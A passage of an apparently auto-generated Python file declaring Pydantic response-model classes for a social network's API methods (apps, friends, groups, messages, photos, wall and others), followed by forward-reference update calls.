class AppsGetleaderboardExtendedResponse(PydanticModel):
response: Optional[dict] = None
class AppsGetleaderboardResponse(PydanticModel):
response: Optional[dict] = None
class AppsGetminiapppoliciesResponse(PydanticModel):
response: Optional[dict] = None
class AppsGetscopesResponse(PydanticModel):
response: Optional[dict] = None
class AppsGetscoreResponse(PydanticModel):
response: Optional[int] = None
class AppsGetResponse(PydanticModel):
response: Optional[dict] = None
class AppsImageUploadResponse(PydanticModel):
response: Optional[dict] = None
class AppsSendrequestResponse(PydanticModel):
response: Optional[int] = None
class AuthRestoreResponse(PydanticModel):
response: Optional[dict] = None
class BaseBoolResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class BaseGetuploadserverResponse(PydanticModel):
response: Optional["objects.BaseUploadServer"] = None
class BaseOkResponse(PydanticModel):
response: Optional[int] = None
class BoardAddtopicResponse(PydanticModel):
response: Optional[int] = None
class BoardCreatecommentResponse(PydanticModel):
response: Optional[int] = None
class BoardGetcommentsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class BoardGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class BoardGettopicsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class BoardGettopicsResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetchairsResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetcitiesbyidResponse(PydanticModel):
response: Optional[List["objects.BaseObject"]] = None
class DatabaseGetcitiesResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetcountriesbyidResponse(PydanticModel):
response: Optional[List["objects.BaseCountry"]] = None
class DatabaseGetcountriesResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetfacultiesResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetmetrostationsbyidResponse(PydanticModel):
response: Optional[List["objects.DatabaseStation"]] = None
class DatabaseGetmetrostationsResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetregionsResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetschoolclassesResponse(PydanticModel):
response: Optional[List[List[Union[str, int]]]] = None
class DatabaseGetschoolsResponse(PydanticModel):
response: Optional[dict] = None
class DatabaseGetuniversitiesResponse(PydanticModel):
response: Optional[dict] = None
class DocsAddResponse(PydanticModel):
response: Optional[int] = None
class DocsDocUploadResponse(PydanticModel):
response: Optional[dict] = None
class DocsGetbyidResponse(PydanticModel):
response: Optional[List["objects.DocsDoc"]] = None
class DocsGettypesResponse(PydanticModel):
response: Optional[dict] = None
class DocsGetuploadserver(PydanticModel):
response: Optional["objects.BaseUploadServer"] = None
class DocsGetResponse(PydanticModel):
response: Optional[dict] = None
class DocsSaveResponse(PydanticModel):
response: Optional[dict] = None
class DocsSearchResponse(PydanticModel):
response: Optional[dict] = None
class DonutGetsubscriptionResponse(PydanticModel):
response: Optional["objects.DonutDonatorSubscriptionInfo"] = None
class DonutGetsubscriptionsResponse(PydanticModel):
response: Optional[dict] = None
class DownloadedgamesPaidStatusResponse(PydanticModel):
response: Optional[dict] = None
class FaveAddtagResponse(PydanticModel):
response: Optional["objects.FaveTag"] = None
class FaveGetpagesResponse(PydanticModel):
response: Optional[dict] = None
class FaveGettagsResponse(PydanticModel):
response: Optional[dict] = None
class FaveGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class FaveGetResponse(PydanticModel):
response: Optional[dict] = None
class FriendsAddlistResponse(PydanticModel):
response: Optional[dict] = None
class FriendsAddResponse(PydanticModel):
response: Optional[int] = None
class FriendsArefriendsExtendedResponse(PydanticModel):
response: Optional[List["objects.FriendsFriendExtendedStatus"]] = None
class FriendsArefriendsResponse(PydanticModel):
response: Optional[List["objects.FriendsFriendStatus"]] = None
class FriendsDeleteResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetappusersResponse(PydanticModel):
response: Optional[List[int]] = None
class FriendsGetbyphonesResponse(PydanticModel):
response: Optional[List["objects.FriendsUserXtrPhone"]] = None
class FriendsGetlistsResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetmutualResponse(PydanticModel):
response: Optional[List[int]] = None
class FriendsGetmutualTargetUidsResponse(PydanticModel):
response: Optional[List["objects.FriendsMutualFriend"]] = None
class FriendsGetonlineOnlineMobileResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetonlineResponse(PydanticModel):
response: Optional[List[int]] = None
class FriendsGetrecentResponse(PydanticModel):
response: Optional[List[int]] = None
class FriendsGetrequestsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetrequestsNeedMutualResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetrequestsResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetsuggestionsResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetFieldsResponse(PydanticModel):
response: Optional[dict] = None
class FriendsGetResponse(PydanticModel):
response: Optional[dict] = None
class FriendsSearchResponse(PydanticModel):
response: Optional[dict] = None
class GiftsGetResponse(PydanticModel):
response: Optional[dict] = None
class GroupsAddaddressResponse(PydanticModel):
response: Optional["objects.GroupsAddress"] = None
class GroupsAddcallbackserverResponse(PydanticModel):
response: Optional[dict] = None
class GroupsAddlinkResponse(PydanticModel):
response: Optional["objects.GroupsGroupLink"] = None
class GroupsCreateResponse(PydanticModel):
response: Optional["objects.GroupsGroup"] = None
class GroupsEditaddressResponse(PydanticModel):
response: Optional["objects.GroupsAddress"] = None
class GroupsGetaddressesResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetbannedResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetbyidLegacyResponse(PydanticModel):
response: Optional[List["objects.GroupsGroupFull"]] = None
class GroupsGetbyidResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetcallbackconfirmationcodeResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetcallbackserversResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetcallbacksettingsResponse(PydanticModel):
response: Optional["objects.GroupsCallbackSettings"] = None
class GroupsGetcataloginfoExtendedResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetcataloginfoResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetcatalogResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetinvitedusersResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetinvitesExtendedResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetinvitesResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetlongpollserverResponse(PydanticModel):
response: Optional["objects.GroupsLongPollServer"] = None
class GroupsGetlongpollsettingsResponse(PydanticModel):
response: Optional["objects.GroupsLongPollSettings"] = None
class GroupsGetmembersFieldsResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetmembersFilterResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetmembersResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetrequestsFieldsResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetrequestsResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetsettingsResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGettaglistResponse(PydanticModel):
response: Optional[List["objects.GroupsGroupTag"]] = None
class GroupsGettokenpermissionsResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class GroupsGetResponse(PydanticModel):
response: Optional[dict] = None
class GroupsIsmemberExtendedResponse(PydanticModel):
response: Optional[dict] = None
class GroupsIsmemberResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class GroupsIsmemberUserIdsExtendedResponse(PydanticModel):
response: Optional[List["objects.GroupsMemberStatusFull"]] = None
class GroupsIsmemberUserIdsResponse(PydanticModel):
response: Optional[List["objects.GroupsMemberStatus"]] = None
class GroupsSearchResponse(PydanticModel):
response: Optional[dict] = None
class LikesAddResponse(PydanticModel):
response: Optional[dict] = None
class LikesDeleteResponse(PydanticModel):
response: Optional[dict] = None
class LikesGetlistExtendedResponse(PydanticModel):
response: Optional[dict] = None
class LikesGetlistResponse(PydanticModel):
response: Optional[dict] = None
class LikesIslikedResponse(PydanticModel):
response: Optional[dict] = None
class MarketAddalbumResponse(PydanticModel):
response: Optional[dict] = None
class MarketAddResponse(PydanticModel):
response: Optional[dict] = None
class MarketCreatecommentResponse(PydanticModel):
response: Optional[int] = None
class MarketDeletecommentResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class MarketGetalbumbyidResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetalbumsResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetbyidExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetbyidResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetcategoriesNewResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetcategoriesResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetgroupordersResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetorderbyidResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetorderitemsResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetordersExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetordersResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MarketGetResponse(PydanticModel):
response: Optional[dict] = None
class MarketRestorecommentResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class MarketSearchExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MarketSearchResponse(PydanticModel):
response: Optional[dict] = None
class MessagesCreatechatResponse(PydanticModel):
response: Optional[int] = None
class MessagesDeletechatphotoResponse(PydanticModel):
response: Optional[dict] = None
class MessagesDeleteconversationResponse(PydanticModel):
response: Optional[dict] = None
class MessagesDeleteResponse(PydanticModel):
response: Optional[dict] = None
class MessagesEditResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class MessagesGetbyconversationmessageidResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetbyidExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetbyidResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetchatpreviewResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetchatChatIdsFieldsResponse(PydanticModel):
response: Optional[List["objects.MessagesChatFull"]] = None
class MessagesGetchatChatIdsResponse(PydanticModel):
response: Optional[List["objects.MessagesChat"]] = None
class MessagesGetchatFieldsResponse(PydanticModel):
response: Optional["objects.MessagesChatFull"] = None
class MessagesGetchatResponse(PydanticModel):
response: Optional["objects.MessagesChat"] = None
class MessagesGetconversationmembersResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetconversationsbyidExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetconversationsbyidResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetconversationsResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGethistoryattachmentsResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGethistoryExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGethistoryResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetimportantmessagesExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetimportantmessagesResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetintentusersResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetinvitelinkResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetlastactivityResponse(PydanticModel):
response: Optional["objects.MessagesLastActivity"] = None
class MessagesGetlongpollhistoryResponse(PydanticModel):
response: Optional[dict] = None
class MessagesGetlongpollserverResponse(PydanticModel):
response: Optional["objects.MessagesLongpollParams"] = None
class MessagesIsmessagesfromgroupallowedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesJoinchatbyinvitelinkResponse(PydanticModel):
response: Optional[dict] = None
class MessagesMarkasimportantResponse(PydanticModel):
response: Optional[List[int]] = None
class MessagesPinResponse(PydanticModel):
response: Optional["objects.MessagesPinnedMessage"] = None
class MessagesSearchconversationsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesSearchconversationsResponse(PydanticModel):
response: Optional[dict] = None
class MessagesSearchExtendedResponse(PydanticModel):
response: Optional[dict] = None
class MessagesSearchResponse(PydanticModel):
response: Optional[dict] = None
class MessagesSendResponse(PydanticModel):
response: Optional[int] = None
class MessagesSendUserIdsResponse(PydanticModel):
response: Optional[List[dict]] = None
class MessagesSetchatphotoResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetbannedExtendedResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetbannedResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetlistsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetlistsResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetmentionsResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetrecommendedResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetsuggestedsourcesResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedGetResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedIgnoreItemResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedSavelistResponse(PydanticModel):
response: Optional[int] = None
class NewsfeedSearchExtendedResponse(PydanticModel):
response: Optional[dict] = None
class NewsfeedSearchResponse(PydanticModel):
response: Optional[dict] = None
class NotesAddResponse(PydanticModel):
response: Optional[int] = None
class NotesCreatecommentResponse(PydanticModel):
response: Optional[int] = None
class NotesGetbyidResponse(PydanticModel):
response: Optional["objects.NotesNote"] = None
class NotesGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class NotesGetResponse(PydanticModel):
response: Optional[dict] = None
class NotificationsGetResponse(PydanticModel):
response: Optional[dict] = None
class NotificationsMarkasviewedResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class NotificationsSendmessageResponse(PydanticModel):
response: Optional[List["objects.NotificationsSendMessageItem"]] = None
class OrdersCancelsubscriptionResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class OrdersChangestateResponse(PydanticModel):
response: Optional[str] = None
class OrdersGetamountResponse(PydanticModel):
response: Optional["objects.OrdersAmount"] = None
class OrdersGetbyidResponse(PydanticModel):
response: Optional[List["objects.OrdersOrder"]] = None
class OrdersGetusersubscriptionbyidResponse(PydanticModel):
response: Optional["objects.OrdersSubscription"] = None
class OrdersGetusersubscriptionsResponse(PydanticModel):
response: Optional[dict] = None
class OrdersGetResponse(PydanticModel):
response: Optional[List["objects.OrdersOrder"]] = None
class OrdersUpdatesubscriptionResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class PagesGethistoryResponse(PydanticModel):
response: Optional[List["objects.PagesWikipageHistory"]] = None
class PagesGettitlesResponse(PydanticModel):
response: Optional[List["objects.PagesWikipage"]] = None
class PagesGetversionResponse(PydanticModel):
response: Optional["objects.PagesWikipageFull"] = None
class PagesGetResponse(PydanticModel):
response: Optional["objects.PagesWikipageFull"] = None
class PagesParsewikiResponse(PydanticModel):
response: Optional[str] = None
class PagesSaveaccessResponse(PydanticModel):
response: Optional[int] = None
class PagesSaveResponse(PydanticModel):
response: Optional[int] = None
class PhotosCopyResponse(PydanticModel):
response: Optional[int] = None
class PhotosCreatealbumResponse(PydanticModel):
response: Optional["objects.PhotosPhotoAlbumFull"] = None
class PhotosCreatecommentResponse(PydanticModel):
response: Optional[int] = None
class PhotosDeletecommentResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class PhotosGetalbumscountResponse(PydanticModel):
response: Optional[int] = None
class PhotosGetalbumsResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetallcommentsResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetallExtendedResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetallResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetbyidExtendedResponse(PydanticModel):
response: Optional[List["objects.PhotosPhotoFull"]] = None
class PhotosGetbyidResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosGetcommentsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetmarketuploadserverResponse(PydanticModel):
response: Optional["objects.BaseUploadServer"] = None
class PhotosGetmessagesuploadserverResponse(PydanticModel):
response: Optional["objects.PhotosPhotoUpload"] = None
class PhotosGetnewtagsResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGettagsResponse(PydanticModel):
response: Optional[List["objects.PhotosPhotoTag"]] = None
class PhotosGetuploadserverResponse(PydanticModel):
response: Optional["objects.PhotosPhotoUpload"] = None
class PhotosGetuserphotosExtendedResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetuserphotosResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetwalluploadserverResponse(PydanticModel):
response: Optional["objects.PhotosPhotoUpload"] = None
class PhotosGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class PhotosGetResponse(PydanticModel):
response: Optional[dict] = None
class PhotosMarketAlbumUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosMarketUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosMessageUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosOwnerCoverUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosOwnerUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosPhotoUploadResponse(PydanticModel):
response: Optional[dict] = None
class PhotosPuttagResponse(PydanticModel):
response: Optional[int] = None
class PhotosRestorecommentResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class PhotosSavemarketalbumphotoResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosSavemarketphotoResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosSavemessagesphotoResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosSaveownercoverphotoResponse(PydanticModel):
response: Optional[List["objects.BaseImage"]] = None
class PhotosSaveownerphotoResponse(PydanticModel):
response: Optional[dict] = None
class PhotosSavewallphotoResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosSaveResponse(PydanticModel):
response: Optional[List["objects.PhotosPhoto"]] = None
class PhotosSearchResponse(PydanticModel):
response: Optional[dict] = None
class PhotosWallUploadResponse(PydanticModel):
response: Optional[dict] = None
class PodcastsSearchpodcastResponse(PydanticModel):
response: Optional[dict] = None
class PollsAddvoteResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class PollsCreateResponse(PydanticModel):
response: Optional["objects.PollsPoll"] = None
class PollsDeletevoteResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class PollsGetbackgroundsResponse(PydanticModel):
response: Optional[List["objects.PollsBackground"]] = None
class PollsGetbyidResponse(PydanticModel):
response: Optional["objects.PollsPoll"] = None
class PollsGetvotersResponse(PydanticModel):
response: Optional[List["objects.PollsVoters"]] = None
class PollsSavephotoResponse(PydanticModel):
response: Optional["objects.PollsBackground"] = None
class PrettycardsCreateResponse(PydanticModel):
response: Optional[dict] = None
class PrettycardsDeleteResponse(PydanticModel):
response: Optional[dict] = None
class PrettycardsEditResponse(PydanticModel):
response: Optional[dict] = None
class PrettycardsGetbyidResponse(PydanticModel):
response: Optional[List["objects.PrettycardsPrettycard"]] = None
class PrettycardsGetuploadurlResponse(PydanticModel):
response: Optional[str] = None
class PrettycardsGetResponse(PydanticModel):
response: Optional[dict] = None
class SearchGethintsResponse(PydanticModel):
response: Optional[dict] = None
class SecureChecktokenResponse(PydanticModel):
response: Optional["objects.SecureTokenChecked"] = None
class SecureGetappbalanceResponse(PydanticModel):
response: Optional[int] = None
class SecureGetsmshistoryResponse(PydanticModel):
response: Optional[List["objects.SecureSmsNotification"]] = None
class SecureGettransactionshistoryResponse(PydanticModel):
response: Optional[List["objects.SecureTransaction"]] = None
class SecureGetuserlevelResponse(PydanticModel):
response: Optional[List["objects.SecureLevel"]] = None
class SecureGiveeventstickerResponse(PydanticModel):
response: Optional[List[dict]] = None
class SecureSendnotificationResponse(PydanticModel):
response: Optional[List[int]] = None
class StatsGetpostreachResponse(PydanticModel):
response: Optional[List["objects.StatsWallpostStat"]] = None
class StatsGetResponse(PydanticModel):
response: Optional[List["objects.StatsPeriod"]] = None
class StatusGetResponse(PydanticModel):
response: Optional["objects.StatusStatus"] = None
class StorageGetkeysResponse(PydanticModel):
response: Optional[List[str]] = None
class StorageGetResponse(PydanticModel):
response: Optional[List["objects.StorageValue"]] = None
class StoreGetfavoritestickersResponse(PydanticModel):
response: Optional[List["objects.BaseSticker"]] = None
class StoreGetproductsResponse(PydanticModel):
response: Optional[List["objects.StoreProduct"]] = None
class StoreGetstickerskeywordsResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetbannedExtendedResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetbannedResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetbyidExtendedResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetbyidResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetphotouploadserverResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetstatsResponse(PydanticModel):
response: Optional["objects.StoriesStoryStats"] = None
class StoriesGetvideouploadserverResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetviewersExtendedV5115Response(PydanticModel):
response: Optional[dict] = None
class StoriesGetviewersExtendedResponse(PydanticModel):
response: Optional[dict] = None
class StoriesGetV5113Response(PydanticModel):
response: Optional[dict] = None
class StoriesGetResponse(PydanticModel):
response: Optional[dict] = None
class StoriesSaveResponse(PydanticModel):
response: Optional[dict] = None
class StoriesUploadResponse(PydanticModel):
response: Optional[dict] = None
class StreamingGetserverurlResponse(PydanticModel):
response: Optional[dict] = None
class UsersGetfollowersFieldsResponse(PydanticModel):
response: Optional[dict] = None
class UsersGetfollowersResponse(PydanticModel):
response: Optional[dict] = None
class UsersGetsubscriptionsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class UsersGetsubscriptionsResponse(PydanticModel):
response: Optional[dict] = None
class UsersGetResponse(PydanticModel):
response: Optional[List["objects.UsersUserXtrCounters"]] = None
class UsersSearchResponse(PydanticModel):
response: Optional[dict] = None
class UtilsChecklinkResponse(PydanticModel):
response: Optional["objects.UtilsLinkChecked"] = None
class UtilsGetlastshortenedlinksResponse(PydanticModel):
response: Optional[dict] = None
class UtilsGetlinkstatsExtendedResponse(PydanticModel):
response: Optional["objects.UtilsLinkStatsExtended"] = None
class UtilsGetlinkstatsResponse(PydanticModel):
response: Optional["objects.UtilsLinkStats"] = None
class UtilsGetservertimeResponse(PydanticModel):
response: Optional[int] = None
class UtilsGetshortlinkResponse(PydanticModel):
response: Optional["objects.UtilsShortLink"] = None
class UtilsResolvescreennameResponse(PydanticModel):
response: Optional["objects.UtilsDomainResolved"] = None
class VideoAddalbumResponse(PydanticModel):
response: Optional[dict] = None
class VideoCreatecommentResponse(PydanticModel):
response: Optional[int] = None
class VideoGetalbumbyidResponse(PydanticModel):
response: Optional["objects.VideoVideoAlbumFull"] = None
class VideoGetalbumsbyvideoExtendedResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetalbumsbyvideoResponse(PydanticModel):
response: Optional[List[int]] = None
class VideoGetalbumsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetalbumsResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetcommentsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class VideoGetResponse(PydanticModel):
response: Optional[dict] = None
class VideoRestorecommentResponse(PydanticModel):
response: Optional["objects.BaseBoolInt"] = None
class VideoSaveResponse(PydanticModel):
response: Optional["objects.VideoSaveResult"] = None
class VideoSearchExtendedResponse(PydanticModel):
response: Optional[dict] = None
class VideoSearchResponse(PydanticModel):
response: Optional[dict] = None
class VideoUploadResponse(PydanticModel):
response: Optional[dict] = None
class WallCreatecommentResponse(PydanticModel):
response: Optional[dict] = None
class WallEditResponse(PydanticModel):
response: Optional[dict] = None
class WallGetbyidExtendedResponse(PydanticModel):
response: Optional[dict] = None
class WallGetbyidLegacyResponse(PydanticModel):
response: Optional[List["objects.WallWallpostFull"]] = None
class WallGetbyidResponse(PydanticModel):
response: Optional[dict] = None
class WallGetcommentExtendedResponse(PydanticModel):
response: Optional[dict] = None
class WallGetcommentResponse(PydanticModel):
response: Optional[dict] = None
class WallGetcommentsExtendedResponse(PydanticModel):
response: Optional[dict] = None
class WallGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class WallGetrepostsResponse(PydanticModel):
response: Optional[dict] = None
class WallGetExtendedResponse(PydanticModel):
response: Optional[dict] = None
class WallGetResponse(PydanticModel):
response: Optional[dict] = None
class WallPostadsstealthResponse(PydanticModel):
response: Optional[dict] = None
class WallPostResponse(PydanticModel):
response: Optional[dict] = None
class WallRepostResponse(PydanticModel):
response: Optional[dict] = None
class WallSearchExtendedResponse(PydanticModel):
response: Optional[dict] = None
class WallSearchResponse(PydanticModel):
response: Optional[dict] = None
class WidgetsGetcommentsResponse(PydanticModel):
response: Optional[dict] = None
class WidgetsGetpagesResponse(PydanticModel):
response: Optional[dict] = None
AccountChangepasswordResponse.update_forward_refs()
AccountGetactiveoffersResponse.update_forward_refs()
AccountGetapppermissionsResponse.update_forward_refs()
AccountGetbannedResponse.update_forward_refs()
AccountGetcountersResponse.update_forward_refs()
AccountGetinfoResponse.update_forward_refs()
AccountGetprofileinfoResponse.update_forward_refs()
AccountGetpushsettingsResponse.update_forward_refs()
AccountSaveprofileinfoResponse.update_forward_refs()
AdsAddofficeusersResponse.update_forward_refs()
AdsChecklinkResponse.update_forward_refs()
AdsCreateadsResponse.update_forward_refs()
AdsCreatecampaignsResponse.update_forward_refs()
AdsCreateclientsResponse.update_forward_refs()
AdsCreatetargetgroupResponse.update_forward_refs()
AdsDeleteadsResponse.update_forward_refs()
AdsDeletecampaignsResponse.update_forward_refs()
AdsDeleteclientsResponse.update_forward_refs()
AdsGetaccountsResponse.update_forward_refs()
AdsGetadslayoutResponse.update_forward_refs()
AdsGetadstargetingResponse.update_forward_refs()
AdsGetadsResponse.update_forward_refs()
AdsGetbudgetResponse.update_forward_refs()
AdsGetcampaignsResponse.update_forward_refs()
AdsGetcategoriesResponse.update_forward_refs()
AdsGetclientsResponse.update_forward_refs()
AdsGetdemographicsResponse.update_forward_refs()
AdsGetfloodstatsResponse.update_forward_refs()
AdsGetlookalikerequestsResponse.update_forward_refs()
AdsGetmusiciansResponse.update_forward_refs()
AdsGetofficeusersResponse.update_forward_refs()
AdsGetpostsreachResponse.update_forward_refs()
AdsGetrejectionreasonResponse.update_forward_refs()
AdsGetstatisticsResponse.update_forward_refs()
AdsGetsuggestionsCitiesResponse.update_forward_refs()
AdsGetsuggestionsRegionsResponse.update_forward_refs()
AdsGetsuggestionsResponse.update_forward_refs()
AdsGetsuggestionsSchoolsResponse.update_forward_refs()
AdsGettargetgroupsResponse.update_forward_refs()
AdsGettargetingstatsResponse.update_forward_refs()
AdsGetuploadurlResponse.update_forward_refs()
AdsGetvideouploadurlResponse.update_forward_refs()
AdsImporttargetcontactsResponse.update_forward_refs()
AdsRemoveofficeusersResponse.update_forward_refs()
AdsUpdateadsResponse.update_forward_refs()
AdsUpdatecampaignsResponse.update_forward_refs()
AdsUpdateclientsResponse.update_forward_refs()
AdsUpdateofficeusersResponse.update_forward_refs()
AdswebGetadcategoriesResponse.update_forward_refs()
AdswebGetadunitcodeResponse.update_forward_refs()
AdswebGetadunitsResponse.update_forward_refs()
AdswebGetfraudhistoryResponse.update_forward_refs()
AdswebGetsitesResponse.update_forward_refs()
AdswebGetstatisticsResponse.update_forward_refs()
AppwidgetsGetappimageuploadserverResponse.update_forward_refs()
AppwidgetsGetappimagesResponse.update_forward_refs()
AppwidgetsGetgroupimageuploadserverResponse.update_forward_refs()
AppwidgetsGetgroupimagesResponse.update_forward_refs()
AppwidgetsGetimagesbyidResponse.update_forward_refs()
AppwidgetsSaveappimageResponse.update_forward_refs()
AppwidgetsSavegroupimageResponse.update_forward_refs()
AppsGetcatalogResponse.update_forward_refs()
AppsGetfriendslistResponse.update_forward_refs()
AppsGetleaderboardExtendedResponse.update_forward_refs()
AppsGetleaderboardResponse.update_forward_refs()
AppsGetminiapppoliciesResponse.update_forward_refs()
AppsGetscopesResponse.update_forward_refs()
AppsGetscoreResponse.update_forward_refs()
AppsGetResponse.update_forward_refs()
AppsImageUploadResponse.update_forward_refs()
AppsSendrequestResponse.update_forward_refs()
AuthRestoreResponse.update_forward_refs()
BaseBoolResponse.update_forward_refs()
BaseGetuploadserverResponse.update_forward_refs()
BaseOkResponse.update_forward_refs()
BoardAddtopicResponse.update_forward_refs()
BoardCreatecommentResponse.update_forward_refs()
BoardGetcommentsExtendedResponse.update_forward_refs()
BoardGetcommentsResponse.update_forward_refs()
BoardGettopicsExtendedResponse.update_forward_refs()
BoardGettopicsResponse.update_forward_refs()
DatabaseGetchairsResponse.update_forward_refs()
DatabaseGetcitiesbyidResponse.update_forward_refs()
DatabaseGetcitiesResponse.update_forward_refs()
DatabaseGetcountriesbyidResponse.update_forward_refs()
DatabaseGetcountriesResponse.update_forward_refs()
DatabaseGetfacultiesResponse.update_forward_refs()
DatabaseGetmetrostationsbyidResponse.update_forward_refs()
DatabaseGetmetrostationsResponse.update_forward_refs()
DatabaseGetregionsResponse.update_forward_refs()
